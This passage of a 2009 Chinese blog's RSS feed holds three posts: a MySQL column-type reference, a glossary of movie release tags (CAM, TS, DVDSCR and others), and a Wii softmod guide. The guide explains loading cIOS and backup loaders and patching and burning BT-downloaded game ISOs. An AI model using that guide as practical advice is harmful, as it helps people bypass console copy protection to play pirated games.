<p><br />
&nbsp;</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=119</link>
	<title><![CDATA[总结韩版软刷3.2U玩游戏，上网，刻碟和金手指的问题]]></title>
	<author>镜中花</author>
	<category><![CDATA[Wii游戏天地]]></category>
	<pubDate>2009-04-29 13:26</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=119</guid>	
	<description><![CDATA[<p>1 为什么好多游戏不可玩？</p> <p>需要安装新版软直读！必备：硬件条件为Wii可用的SD卡，软件条件为HBC（一个自制软件安装系统平台）</p> <p>a）在安装软直读前需要安装cIOS36_IOS249-rev7先，否则在调ISO249时会出现错误。</p> <p>b)&nbsp; 安装 Backup launcher 0.3Gamma 的去002#错误版（这个软直读兼容性强些且有丰富选项包括金手指。有些游戏出现乱码请用该软件进入它的config options把vidtv调成yes）</p> <p>c)&nbsp; 另一个软直读Softchip R84 (这个注意启动后一大屏英文时可能要按&ldquo;+&rdquo;号调到ISO249，还有调语言也在这一屏，有些游戏如有氧拳击需要调到日语，按C键调，Z键切换选项）这两个都是读碟的软直读随便哪个都可用。</p><br /> <p>注意！最近的新出游戏可能需要使用ISOPATCHER这个软件对下载后的ISO文件补丁后刻盘才能玩！</p> <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如&ldquo;用WII玩：银河战士&rdquo;我废了2张碟调尽了设置都没用后来打了个补丁就OK了，建议以后下载</p> <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下来的ISO都先打补丁再刻以免报废盘。不要误解打补丁都只要2秒！据说老游戏如赤钢，荣誉2都</p> <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 需要这样。</p><br /> <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 将下载解压后的ISO文件拖到IOSPatcher.exe图标上</p> <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 IOSPatcher会打开窗口执行命令,请输入IOS版本号&quot;249&quot; 加回车</p> <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 将修改成功的ISO文件刻盘, 用Backup Loader 0.3gamma引导即可</p><br /> <p>补充：a. Backup Launch 调节语言等不能保存。重新启动会复原。而Softchip可以保存。b.全装好了游戏还是不好用，说明你的ISO可能没装全，搜一下补全它们吧。</p><br /> <p>软刷机根本不用担心自动升级变砖，直接塞进去玩就是了。&nbsp;&nbsp; 软件请查看论坛超级版主们的贡献。他们默默无闻，必顶！</p> <p><br /> 2 无线上网对战可乎，会否自动升级变砖乎？</p> <p>搜一下wii无线联网配置的文章，简单得很，只是注意最后一步不要升级。我之前无线路由已与电脑连好了。没开connect24，还是3.2U，但游戏已可联网。因为个人认为没有必要冒险升级为3.4，游戏已近100%可玩了。顺便推荐几个联网人多的游戏，使命5、马车，当然免费滴。。。</p><br /> <p>3 自己刻碟要注意什么？</p> <p>&nbsp; BT下完游戏后，我使用Nero express-&gt;影像，项目，复制-&gt;光盘映像或保存的项目-&gt;然后选择下载解压后的ISO文件无需任何调整，直接刻录（最好4X）。盘我使用的是铼德8X系列，主要是性价比高。（才1.3一张）目前20几张了，一张都没失败过。自己刻录游戏，最好用DVD-R。用某些老的刻录机可能会有问题，总之先刻一张试一下，再google你的光驱解决方法吧。</p><br /> <p>4.运行金手指出现NO DVD或No application或不读碟问题怎么办？</p> <p>Backup Launcher自带金手指ocran，我们要做的只是先编辑好PC端的金手指文件考到SD卡中，再启动BL，设置config options 把ocran 选项变成yes，同时调整hook类型为 IV(Default）接下来返回上级菜单直接Launch游戏；再有朋友搞不定也可以直接下载别人的超级存档用喔！</p><br /> <p>Wii目前好像最主要的还是用来体感游戏的吧，所以就总结以上几点。我想对有需要的新人会有所帮助。再次感谢大大们的精彩文章，顶到月球也不为过。</p><br />]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=118</link>
	<title><![CDATA[mysql 字段类型说明]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2009-04-29 11:27</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=118</guid>	
	<description><![CDATA[<p>MySQL支持大量的列类型，它可以被分为3类：数字类型、日期和时间类型以及字符串(字符)类型。本节首先给出可用类型的一个概述，并且总结每个列类型的存储需求，然后提供每个类中的类型性质的更详细的描述。概述有意简化，更详细的说明应该考虑到有关特定列类型的附加信息，例如你能为其指定值的允许格式。</p>
<p>&nbsp;&nbsp; 由MySQL支持的列类型列在下面。下列代码字母用于描述中：</p>
<p>M <br />
指出最大的显示尺寸。最大的合法的显示尺寸是 255 。 <br />
D <br />
适用于浮点类型并且指出跟随在十进制小数点后的数码的数量。最大可能的值是30，但是应该不大于M-2。 <br />
方括号(&ldquo;[&rdquo;和&ldquo;]&rdquo;)指出可选的类型修饰符的部分。</p>
<p>注意，如果你指定一个了为ZEROFILL，MySQL将为该列自动地增加UNSIGNED属性。</p>
<p>TINYINT[(M)] [UNSIGNED] [ZEROFILL] <br />
一个很小的整数。有符号的范围是-128到127，无符号的范围是0到255。</p>
<p><br />
SMALLINT[(M)] [UNSIGNED] [ZEROFILL] <br />
一个小整数。有符号的范围是-32768到32767，无符号的范围是0到65535。</p>
<p>MEDIUMINT[(M)] [UNSIGNED] [ZEROFILL] <br />
一个中等大小整数。有符号的范围是-8388608到8388607，无符号的范围是0到16777215。</p>
<p>INT[(M)] [UNSIGNED] [ZEROFILL] <br />
一个正常大小整数。有符号的范围是-2147483648到2147483647，无符号的范围是0到4294967295。</p>
<p>INTEGER[(M)] [UNSIGNED] [ZEROFILL] <br />
这是INT的一个同义词。 <br />
BIGINT[(M)] [UNSIGNED] [ZEROFILL] <br />
一个大整数。有符号的范围是-9223372036854775808到9223372036854775807，无符号的范围是0到<br />
18446744073709551615。注意，所有算术运算用有符号的BIGINT或DOUBLE值完成，因此你不应该使用大于9223372036854775807（63位)的有符号大整数，除了位函数！注意，当两个参数是INTEGER值时，-、+和*将使用BIGINT运算！这意味着如果你乘2个大整数(或来自于返回整数的函数)，如果结果大于9223372036854775807，你可以得到意外的结果。一个浮点数字，不能是无符号的，对一个单精度浮点数，其精度可以是&lt;=24，对一个双精度浮点数，是在25 和53之间，这些类型如FLOAT和DOUBLE类型马上在下面描述。FLOAT(X)有对应的FLOAT和DOUBLE相同的范围，但是显示尺寸和小数位数是未定义的。在MySQL3.23中，这是一个真正的浮点值。在更早的MySQL版本中，FLOAT(precision)总是有2位小数。该句法为了ODBC兼容性而提供。</p>
<p>FLOAT[(M,D)] [ZEROFILL] <br />
一个小(单精密)浮点数字。不能无符号。允许的值是-3.402823466E+38到-1.175494351E-38，0 和1.175494351E-38到3.402823466E+38。M是显示宽度而D是小数的位数。没有参数的FLOAT或有&lt;24 的一个参数表示一个单精密浮点数字。 <br />
DOUBLE[(M,D)] [ZEROFILL] <br />
一个正常大小(双精密)浮点数字。不能无符号。允许的值是-1.7976931348623157E+308到-2.2250738585072014E-308、 0和2.2250738585072014E-308到1.7976931348623157E+308。M是显示宽度而D是小数位数。没有一个参数的DOUBLE或FLOAT(X)（25 &lt; = X &lt; = 53）代表一个双精密浮点数字。 <br />
DOUBLE PRECISION[(M,D)] [ZEROFILL] <br />
REAL[(M,D)] [ZEROFILL] <br />
这些是DOUBLE同义词。 <br />
DECIMAL[(M[,D])] [ZEROFILL] <br />
一个未压缩(unpack)的浮点数字。不能无符号。行为如同一个CHAR列：&ldquo;未压缩&rdquo;意味着数字作为一个字符串被存储，值的每一位使用一个字符。小数点，并且对于负数，&ldquo;-&rdquo;符号不在M中计算。如果D是0，值将没有小数点或小数部分。DECIMAL值的最大范围与DOUBLE相同，但是对一个给定的DECIMAL列，实际的范围可以通过M和D的选择被限制。如果D被省略，它被设置为0。如果M被省掉，它被设置为10。注意，在MySQL3.22里，M参数包括符号和小数点。</p>
<p><br />
NUMERIC(M,D) [ZEROFILL] <br />
这是DECIMAL的一个同义词。 DATE <br />
一个日期。支持的范围是\\\'1000-01-01\\\'到\\\'9999-12-31\\\'。MySQL以\\\'YYYY-MM-DD\\\'格式来显示DATE值，但是允许你使用字符串或数字把值赋给DATE列。 <br />
DATETIME <br />
一个日期和时间组合。支持的范围是\\\'1000-01-01 00:00:00\\\'到\\\'9999-12-31 23:59:59\\\'。MySQL以\\\'YYYY-MM-DD HH:MM:SS\\\'格式来显示DATETIME值，但是允许你使用字符串或数字把值赋给DATETIME的列。 <br />
TIMESTAMP[(M)] <br />
一个时间戳记。范围是\\\'1970-01-01 00:00:00\\\'到2037年的某时。MySQL以YYYYMMDDHHMMSS、YYMMDDHHMMSS、YYYYMMDD或YYMMDD格式来显示TIMESTAMP值，取决于是否M是14（或省略)、12、8或6，但是允许你使用字符串或数字把值赋给TIMESTAMP列。一个TIMESTAMP列对于记录一个INSERT或UPDATE操作的日期和时间是有用的，因为如果你不自己给它赋值，它自动地被设置为最近操作的日期和时间。你以可以通过赋给它一个NULL值设置它为当前的日期和时间。 <br />
TIME <br />
一个时间。范围是\\\'-838:59:59\\\'到\\\'838:59:59\\\'。MySQL以\\\'HH:MM:SS\\\'格式来显示TIME值，但是允许你使用字符串或数字把值赋给TIME列。 <br />
YEAR[(2|4)] <br />
一个2或4位数字格式的年(缺省是4位)。允许的值是1901到2155，和0000（4位年格式），如果你使用2位，1970-2069( 70-69)。MySQL以YYYY格式来显示YEAR值，但是允许你把使用字符串或数字值赋给YEAR列。（YEAR类型在MySQL3.22中是新类型。） <br />
CHAR(M) [BINARY] <br />
一个定长字符串，当存储时，总是是用空格填满右边到指定的长度。M的范围是1 ～ 255个字符。当值被检索时，空格尾部被删除。CHAR值根据缺省字符集以大小写不区分的方式排序和比较，除非给出BINARY关键词。NATIONAL CHAR（短形式NCHAR)是ANSI SQL的方式来定义CHAR列应该使用缺省字符集。这是MySQL的缺省。CHAR是CHARACTER的一个缩写。 <br />
[NATIONAL] VARCHAR(M) [BINARY] <br />
一个变长字符串。注意：当值被存储时，尾部的空格被删除(这不同于ANSI SQL规范)。M的范围是1 ～ 255个字符。 VARCHAR值根据缺省字符集以大小写不区分的方式排序和比较，除非给出BINARY关键词值。 VARCHAR是CHARACTER VARYING一个缩写。 <br />
TINYBLOB 　 <br />
TINYTEXT <br />
一个BLOB或TEXT列，最大长度为255(2^8-1)个字符。 <br />
BLOB&nbsp; <br />
TEXT <br />
一个BLOB或TEXT列，最大长度为65535(2^16-1)个字符。 <br />
MEDIUMBLOB 　 <br />
MEDIUMTEXT <br />
一个BLOB或TEXT列，最大长度为16777215(2^24-1)个字符。 <br />
LONGBLOB 　 <br />
LONGTEXT <br />
一个BLOB或TEXT列，最大长度为4294967295(2^32-1)个字符。 <br />
ENUM(\\\'value1\\\',\\\'value2\\\',...) <br />
枚举。一个仅有一个值的字符串对象，这个值式选自与值列表\\\'value1\\\'、\\\'value2\\\', ...,或NULL。一个ENUM最多能有65535不同的值。<br />
SET(\\\'value1\\\',\\\'value2\\\',...) <br />
一个集合。能有零个或多个值的一个字符串对象，其中每一个必须从值列表\\\'value1\\\', \\\'value2\\\', ...选出。一个SET最多能有64个成员。<br />
&nbsp;</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=117</link>
	<title><![CDATA[30条实用信息教你读懂电影版本]]></title>
	<author>镜中花</author>
	<category><![CDATA[高清视频播放]]></category>
	<pubDate>2009-04-25 16:24</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=117</guid>	
	<description><![CDATA[<p>如果你常常望着电影视频文件那一大长串的字母不知所措，不知道他们当中的每一个后缀分别代表了什么样的含义，哪个版本是最好的，那就来看看这篇文章吧。这里是本人从网上收集而来的有关电影版本方方面面的信息，希望能够对您有所帮助。 <br />
<br />
<br />
1.CAM（枪版）&mdash;&mdash;珍爱生命，远离枪版 <br />
<br />
<font color=\\\"#000000\\\"><br />
CAM</font>通常是用数码摄像机从电影院盗录。有时会使用小三角架，但大多数时候不可能使用，所以摄像机会抖动。因此我们看到画面通常偏暗人物常常会失真，下方的字幕时常会出现倾斜。 由于声音是从摄像机自带的话筒录制，所以经常会录到观众的笑声等声音。因为这些因素，图象和声音质量通常都很差。<br />
<font color=\\\"#000000\\\">举例说明：</font>Journey.To.The.Center.Of.The.Earth.CAM.XViD-CAMERA（地心游记3D枪版） <br />
<br />
2.TS&mdash;&mdash;只比枪版好一点 <br />
<br />
<font color=\\\"#000000\\\"><br />
TS</font>与CAM版的标准是相同的。 但它使用的是外置音源（一般是影院座椅上为听力不好的人设的耳机孔）这个音源不能保证是好的音源，因为受到很多背景噪音的#扰。TS是在空的影院或是用专业摄像机在投影室录制，所以图象质量可能比CAM好。但画面的起伏很大。常出现的有一般TS版和经过修复清晰TS版。<br />
<font color=\\\"#000000\\\">举例说明：</font>Iron.Man.PROPER.TS.XviD-iLG（钢铁侠TS版） <br />
3.TC&mdash;&mdash;基本也可以忽略 <br />
<br />
<font color=\\\"#000000\\\"><br />
TC</font>使用电视电影机从胶片直接数字拷贝。画面质量还不错,但亮度不足，有些昏暗。很多时候制作TC使用的音源来自TS，因此音质很差，但画面质量远好过TS。如果不是太讲究的话TC版还是不错的选择。<br />
<font color=\\\"#000000\\\">举例说明：</font>Madagascar.2005.TC.XviD.AC3.avi（马达加斯加TC版） <br />
<br />
4.DVDSCR&mdash;&mdash;最差也要看这个 <br />
<br />
<font color=\\\"#000000\\\">预览版的或者是测试版的</font>DVD，非正式出版的版本。从预览版 DVD 中获取，通过mpeg-4技术进行高质量压缩的视频格式。能比DVDRip早发布，但画质稍差。（经常有一些不在黑边里在屏幕下方滚动的消息，包含版权和反盗版电话号码 ，会影响观看。）如果没有严格的划分它的画质应与TC版差不多。<br />
<font color=\\\"#000000\\\">举例说明：</font>Quantum.of.Solace.REPACK.DVDSCR.XviD-COALiTiON.avi（007大破量子危机DVDSCR版） <br />
<br />
5.DVDRIP&mdash;&mdash;比较理想的版本<br />
<br />
<font color=\\\"#000000\\\"><br />
DVDRIP:</font>是从最终版的DVD转制。质量应该是最好的。将DVD的视频、音频、字幕剥离出来，再经过压缩或者其他处理，然后重新合成成多媒体文件。一般来说，DVDrip由影音文件(后缀为avi)和字幕文件组成。<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font> Pineapple.Express.2008.DVDRip.XviD-ARROW.avi（菠萝快车DVDRip版）</p>
<p>6.HR-HDTV&mdash;&mdash;不错的选择 <br />
<br />
<font color=\\\"#000000\\\"><br />
HR-HDTV</font>是用DivX/XviD/x264等MPEG4压缩技术对HDTV的视频图像进行高质量压缩,然后将视频、音频部分封装成一个.avi或.mkv文件，最后再加上外挂的字幕文件而形成的视频格式。 画面清晰度更高。 <br />
<br />
7.HDRIP&mdash;&mdash;BD之下，万人之上<br />
<br />
<font color=\\\"#000000\\\"><br />
HDRIP=HD-DVD Rip</font>，即HD-DVD高清转制，效果好于一般的高清转制。<br />
<font color=\\\"#000000\\\">举例说明：</font>Stardust.2007.HDRip.x264.a720.AC3-C#SiLU.mkv（星尘HDrip版） <br />
8.BDRIP&mdash;&mdash;高清之下，普通清晰度的王者<br />
<br />
<font color=\\\"#000000\\\"><br />
BDrip = Blue-ray Disc Rip</font>，即蓝光高清转制，效果比HDRIP还要好。<br />
<font color=\\\"#000000\\\">举例说明：</font>Awake.2007.BDRip.X264-TLF.mkv（夺命手术BDrip版）<br />
<br />
9.R5&mdash;&mdash;心急的您可以看这个<br />
<br />
<font color=\\\"#000000\\\"><br />
R5</font>一般大都是俄罗斯5区版，由于北美大片在俄罗斯发行的语种经常配音为俄罗斯语，因此网络上会出现采用R5的视频＋枪版TS的英语原声音频＝合成版本（所以音效差），当然，也经常有未配音过音效好的R5，遇到合成版本，在发布时会特别注明音效。<br />
<font color=\\\"#000000\\\">举例说明：</font>Get.Smart.R5.LINE.XViD-mVs.avi（糊涂侦探R5版） <br />
<br />
10.AVI&mdash;&mdash;廉颇老矣<br />
<font color=\\\"#000000\\\"><br />
<br />
</font><br />
<font color=\\\"#000000\\\">AVI</font>英文全称为Audio Video Interleaved，即音频视频交错格式。是将语音和影像同步组合在一起的文件格式。它对视频文件采用了一种有损压缩方式，但压缩比较高，因此尽管面面质量不是太好，但其应用范围仍然非常广泛。（就目前来看，随着观众对电影品质要求的提升，AVI格式越来越力不从心了）<br />
<font color=\\\"#000000\\\">举例说明：</font>Breaking.News.2004.DVDRip.XViD-TLF.avi（大事件avi格式版本）<br />
11.MKV&mdash;&mdash;后起之秀<br />
<br />
<font color=\\\"#000000\\\">一种后缀为</font>MKV的视频文件频频出现在网络上，它可在一个文件中集成多条不同类型的音轨和字幕轨，而且其视频编码的自由度也非常大，可以是常见的DivX、XviD、3IVX，甚至可以是RealVideo、QuickTime、WMV这类流式视频。实际上，它是一种全称为Matroska的新型多媒体封装格式，这种先进的、开放的封装格式已经给我们展示非常好的应用前景，甚至有人把它看成是AVI的替代者！ <br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>Children.Of.Man.2006.BDRE.1080p.x264.AC3-SiLUHD.mkv（人类之子MKV封装版本）<br />
<br />
<br />
12.MOV&mdash;&mdash;高清预告片首选<br />
<br />
<font color=\\\"#000000\\\"><br />
MOV</font>即QuickTime影片格式，它是Apple公司开发的一种音频、视频文件格式，用于存储常用数字媒体类型，如音频和视频。当选择 QuickTime （*.mov）作为&ldquo;保存类型&rdquo;时，动画将保存为 .mov 文件。<br />
<br />
<font color=\\\"#000000\\\">现在</font>MOV格式常常被用来制作高清电影预告片，可以达到1080P的所谓全高清标准。<br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>terminatorsalvation-tlr1_h1080p.mov（终结者4高清预告片）<br />
<br />
<br />
13.XviD&mdash;&mdash;常见标准<br />
<br />
<font color=\\\"#000000\\\">最常用的</font>MPEG-4视频压缩编码格式，我们下载的很多电影基于这种编码。<br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>Connected.2008.DVDRip.XviD-BiEN.avi（保持通话，xvid编码）<br />
<br />
<br />
14.X264&mdash;&mdash;业界先锋<br />
<br />
<font color=\\\"#000000\\\"><br />
x264</font>是一种免费的、具有更优秀算法的H.264/MPEG-4 AVC视频压缩编码格式。它同xvid一样都是开源项目，但x264是采用H.264标准的，而xvid是采用MPEG-4早期标准的。由于H.264是2003年正式发布的最新的视频编码标准，因此，在通常情况下，x264压缩出的视频文件在相同质量下要比xvid压缩出的文件要小，或者也可以说，在相同体积下比xvid压缩出的文件质量要好。<br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>WALL.E.2008.BDRip.X264-TLF.mkv（机器人总动员，X264编码）<br />
<br />
<br />
15.IMAX&mdash;&mdash;所谓巨幕<br />
<br />
<font color=\\\"#000000\\\">有的电影会标注&ldquo;</font>IMAX&rdquo;版本。那什么是IMAX呢？<br />
<br />
<font color=\\\"#000000\\\"><br />
IMAX</font>（即Image Maximum的缩写，意为&ldquo;最大影像&rdquo;，汉语发音可读作&ldquo;艾麦克斯&rdquo;)是一种能够放映比传统胶片更大和更高解像度的电影放映系统。整套系统包括以IMAX规格摄制的影片拷贝、放映机、音响系统、银幕等。标准的IMAX银幕为22米宽、16米高，但完全可以在更大的银幕播放，而且迄今为止不断有更大的IMAX银幕出现。 今年的《功夫熊猫》就同时具有普通和IMAX两种版本。<br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>The.Dark.Knight.2008.IMAX.BDRip.X264-TLF.mkv（蝙蝠侠黑暗骑士IMAX版本）</p>
<p>16.MP4&mdash;&mdash;比较尴尬<br />
<br />
<font color=\\\"#000000\\\">有的电影是</font>MP4格式的，这代表着它采用了MPEG-4视频压缩编码，但是具体是哪一种编码格式并不确定，一般来说是DIVX或者XVID。总之感觉是个很鸡肋的格式，一般是用在掌上便携设备上，电脑用户不推荐。<br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>Friends.S01E01.The.One.Where.Monica.Gets.A.New.Roommate.iPod-mp4.chs-en.mp4（老友记第一季第一集，ipd专用版本，mp4格式）<br />
<br />
<br />
17.TS&mdash;&mdash;此TS非彼TS<br />
<br />
<font color=\\\"#000000\\\">这个</font>TS代表的是文件后缀名为.TS的高清格式。这种格式的优点在于对硬件的要求不高，即使是1080P的电影这两年的家用电脑都可以轻松播放，不过缺点同样明显&mdash;&mdash;超大的文件体积，动辄三四十个G。<br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>Silent.Hill.Blu-ray.REMUX.MPEG2.1080P.LPCM.DTS.Orbitlee#Silu.ts（寂静岭TS版，9碟，完全大小37.9G，单碟4.3G）<br />
<br />
<br />
18.PROPER&mdash;&mdash;竞争的结果 <br />
<br />
<font color=\\\"#000000\\\">根据发布规则，最先发布</font>Telesync (TS)的组织赢得(TS发布的)比赛。但是，如果这个发布版本质量很差，同时另一组织有另一TS版本(或质量更好的同一片源)，那么标记PROPER被加到目录上以避免重复。PROPER是一个最主观的标记，很多人会争论是否PROPER比原始发布版本好。很多发布组织只不过因为输掉了发布比赛而发布PROPER。发布PROPER的原因应该总是包含在NFO文件里。 <br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>Pirates.Of.The.Caribbean.At.Worlds.End.PROPER.DVDRip.XviD-HooKah-CD1.avi（加勒比海盗3世界尽头proper版本）<br />
<br />
<br />
19.Director\\\'s Cut&mdash;&mdash;导演剪辑版<br />
<br />
<font color=\\\"#000000\\\">导演剪辑版，主要用于碟片发行中，因为出于商业的、票房的原因，在影院上映的影片未必是导演最终剪辑后的版本。故而碟商们推出了所谓导演剪辑版，与影院版有所区别，也是为了满足一部分追求&ldquo;原汁原味&rdquo;的观众的要求，同时多了一条生财之道。导演剪辑版与影院版，有的差别较大（无论是放映时间还是镜头），有的则差别不大，因人因片而异。至于艺术成就，更是很难笼统而言。因为有人看重导演的主动权，但导演剪辑版也可能不如影院版更精炼，见仁见智而已。</font><br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>Saw.Director\\\'s.Cut.HD.DVD.REMUX.VC1.1080p.DTS-HD.Silu.ts（电锯惊魂导演剪辑版）<br />
<br />
<br />
20.Unrated&mdash;&mdash;未分级版<br />
<br />
<font color=\\\"#000000\\\">也就是没有根据不同观众对象剪辑，比较完整、原始的版本。（俗称未剪版）。</font><br />
<br />
<font color=\\\"#000000\\\">　　指的是没有在</font>MPAA（美国电影协会）审查的电影。现在指的是一般的电影的最初为剪辑版本。一般包括大量暴力色情粗口的。是导演最初剪出来的片子。经MPAA审了片子之后就会定级。诸如。R、NC-17、PG13、PG、G （越往后越合家欢）等。<br />
<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>American.Psycho.Unrated.Version.2000.DVDrip.XviD.AC3.iNT.avi（美国狂魔未分级版） <br />
21.LIMITED<br />
<br />
<br />
<font color=\\\"#000000\\\">LIMITED</font>电影指该电影只在有限的电影院放映，通常少于250家。通常较小的电影（比如艺术电影）的发行是LIMETED。<br />
<br />
<font color=\\\"#000000\\\">举例说明：</font>Eternal.2004.LiMiTED.DVDrip.XviD-ShysteR.avi（**的永生limited版）<br />
<br />
22.TVRIP&mdash;&mdash;TV转制<br />
<br />
<br />
<br />
<font color=\\\"#000000\\\">所谓</font>TVRip是从电视(最好是从数码有线电视/卫星电视捕捉)转制的电视剧及接收卫星接收到的节目，然后通过电视卡进行捕捉，压缩成文件，我们看的很多综艺及体育节目都是TVRip。有些电视剧也会使用TVRip的方式进行发布。<br />
<br />
<br />
23.　720P<br />
<br />
<font color=\\\"#000000\\\">720P</font>是美国电影电视工程师协会(SMPTE)制定的最高等级高</p>]]></description>
</item>
</channel>
</rss>
